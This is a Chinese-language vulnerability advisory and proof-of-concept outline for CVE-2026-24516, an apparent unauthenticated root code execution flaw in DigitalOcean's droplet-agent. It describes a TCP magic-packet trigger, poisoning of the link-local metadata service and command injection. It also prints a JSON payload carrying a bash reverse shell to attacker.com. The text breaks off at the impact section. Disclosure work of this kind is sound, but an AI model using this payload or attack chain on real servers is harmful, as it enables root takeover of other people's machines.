CVE-2026-24516 技术分析与 PoC:DigitalOcean Droplet Agent 中未经身份验证的 Root 远程代码执行(CVSS 10.0)。
ID: CVE-2026-24516
标题: 通过元数据投毒与侧信道实现的未认证 Root RCE
严重性: 严重(CVSS v3.1:10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
研究员: Anmol Singh Rajput (@poxsky)
受影响: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
'droplet-agent' 是一个特权系统守护进程(UID 0),用于远程 遥测与诊断。它保持被动监控状态,直到接收到 特定的信令序列。核心漏洞在于链路本地元数据服务 (169.254.169.254)的“隐式信任模型”, 该模型缺乏加密完整性校验。
A. 被动 TCP 侧信道(信令层) 该 agent 在 22 端口上使用原始套接字监听器 (internal/metadata/watcher/ssh_watcher.go)。 它根据 TCP 头部中硬编码的魔术常量,执行从 IDLE 到 ACTIVE 的 状态转换:
分析:这产生了一个确定性的触发器。外部攻击者可以通过伪造 带有这些魔术值的单个 TCP SYN 数据包, 冒充基础设施控制平面。
B. 信任边界违规(链路本地缺陷) 在收到信令后,该 agent 会从云元数据 端点获取 JSON 指令。该漏洞是缺乏真实性验证。该 agent 将 169.254.169.254 区域视为“加固的受信任区域”,未能验证 载荷签名(HMAC/mTLS)。
C. 汇聚点:未净化的命令注入 'TroubleshootingActioner'(internal/troubleshooting/actioner/actioner.go) 包含一个汇聚点,用于解析 'requesting' 数组。
冒充:攻击者在托管应用中识别出一个 SSRF,以代理 对链路本地元数据服务的请求。
投毒:攻击者搭建一个恶意元数据服务器,返回: {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
敲门:攻击者向 22 端口发送 "DODO-TTY" TCP 触发器。
执行:该 agent 获取被投毒的 JSON,并以有效 UID 0(Root) 执行反向 shell。
影响评估
